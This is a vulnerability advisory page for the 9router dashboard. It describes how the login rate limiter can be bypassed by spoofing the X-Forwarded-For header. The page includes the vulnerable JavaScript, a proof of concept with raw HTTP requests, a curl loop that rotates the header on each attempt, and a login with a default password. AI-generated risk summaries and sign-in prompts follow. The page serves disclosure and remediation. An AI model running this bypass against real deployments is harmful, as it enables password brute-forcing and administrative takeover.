Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Network-reachable, low-complexity, unauthenticated header spoofing (AV:N/AC:L/PR:N/UI:N); low C/I/A because it defeats a protection mechanism enabling credential brute-force rather than granting direct compromise.
Primary rating from Vendor (https://github.com/decolua/9router).
CVSS VectorVendor: https://github.com/decolua/9router
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Lifecycle Timeline
1DescriptionCVE.org
Summary
The 9router dashboard login rate limiter derives the client identity from the attacker-controlled X-Forwarded-For HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the X-Forwarded-For value on each login attempt and receive a fresh rate-limit bucket every time.
This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.
Details
| Component | File | Note |
|---|---|---|
| Dashboard login rate limiter | src/lib/auth/loginLimiter.js | Uses X-Forwarded-For as the client identity without a trusted-proxy check |
| Dashboard login route | src/app/api/auth/login/route.js | Calls checkLock() and recordFail() using the spoofable client identity |
Vulnerable Code
src/lib/auth/loginLimiter.js:
export function getClientIp(request) {
const xff = request.headers.get("x-forwarded-for");
if (xff) return xff.split(",")[0].trim();
return request.headers.get("x-real-ip") || "unknown";
}The returned value is used as the key for the in-memory rate-limit state:
const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt }The login route uses this value when checking and recording failed login attempts:
export async function POST(request) {
const ip = getClientIp(request);
const lock = checkLock(ip);
if (lock.locked) {
return NextResponse.json(
{ error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` },
{ status: 429 }
);
}
// ... password validation ...
recordFail(ip);
}Because X-Forwarded-For is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.
PoC
Step 1 - Baseline: rate limiter triggers when the client identity is stable
Send repeated failed login attempts with the same X-Forwarded-For value:
POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 1.1.1.1
{"password":"wrong-password"}Observed behavior:
| Attempt | Response |
|---|---|
| 1 | Invalid password. 4 attempt(s) left before lockout. |
| 2 | Invalid password. 3 attempt(s) left before lockout. |
| 3 | Invalid password. 2 attempt(s) left before lockout. |
| 4 | Invalid password. 1 attempt(s) left before lockout. |
| 5 | Too many failed attempts. Try again in 30s. |
| 6 | Too many failed attempts. Try again in 30s. |
This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.
Step 2 - Bypass: rotate X-Forwarded-For on each request
Send failed login attempts while changing the X-Forwarded-For value for every request:
for i in $(seq 1 10); do
curl -s -X POST "http://localhost:20128/api/auth/login" \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: 10.0.0.$i" \
-d '{"password":"wrong-password"}'
echo
doneObserved response for every request:
{
"error": "Invalid password. 4 attempt(s) left before lockout.",
"remainingBeforeLock": 4
}The counter resets to the initial state on every request, and the lockout is never triggered.
Step 3 - Impact amplifier: default dashboard password
If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.
Example request:
POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 99.99.99.99
{"password":"<default-dashboard-password>"}Observed response on a default installation:
HTTP/1.1 200 OK
Set-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax{
"success": true
}The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.
Attack Scenario
- A remote attacker identifies a publicly reachable 9router dashboard.
- The attacker sends repeated login attempts to
/api/auth/login. - For each attempt, the attacker changes the
X-Forwarded-Forheader value. - 9router treats each request as a different client and assigns a fresh rate-limit bucket.
- The attacker can continue brute-force attempts without triggering the configured lockout.
- If the instance uses a weak or default dashboard password, the attacker can gain administrative access.
Impact
A successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password.
If authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to:
- Access configured provider credentials and API keys.
- Change dashboard and authentication settings.
- Disable login protection if the application allows it.
- Create persistent API keys or other long-lived access tokens.
- Modify application configuration.
- Chain the access with other server-side functionality exposed by the dashboard.
AnalysisAI
Brute-force protection bypass in the 9router dashboard (npm package 9router) lets remote attackers defeat the login lockout by rotating the attacker-controlled X-Forwarded-For header on each request, giving every attempt a fresh rate-limit bucket. Because the CVSS vector is PR:N/UI:N, unauthenticated remote attackers can target any instance directly exposed or sitting behind a proxy that does not overwrite forwarding headers, enabling unlimited password guessing and, against default or weak credentials, full administrative takeover. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that 9router be network-reachable AND that incoming forwarding headers be attacker-influenced - i.e. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The signals are moderate and partly incomplete. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A remote attacker discovers a publicly reachable 9router dashboard and scripts repeated POST requests to /api/auth/login, incrementing the X-Forwarded-For header (e.g. 10.0.0.1, 10.0.0.2, ...) on every attempt so the 5-attempt lockout never triggers. … |
| Remediation | No vendor-released patch version was identified at time of analysis, so track the GitHub Security Advisory GHSA-7cfm-pqrj-xgq7 (https://github.com/decolua/9router/security/advisories/GHSA-7cfm-pqrj-xgq7) for a fixed release and upgrade as soon as one is published. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory all 9router deployments and determine network exposure (public, proxied, or internal-only). …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-290 – Authentication Bypass by Spoofing
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-42926
GHSA-7cfm-pqrj-xgq7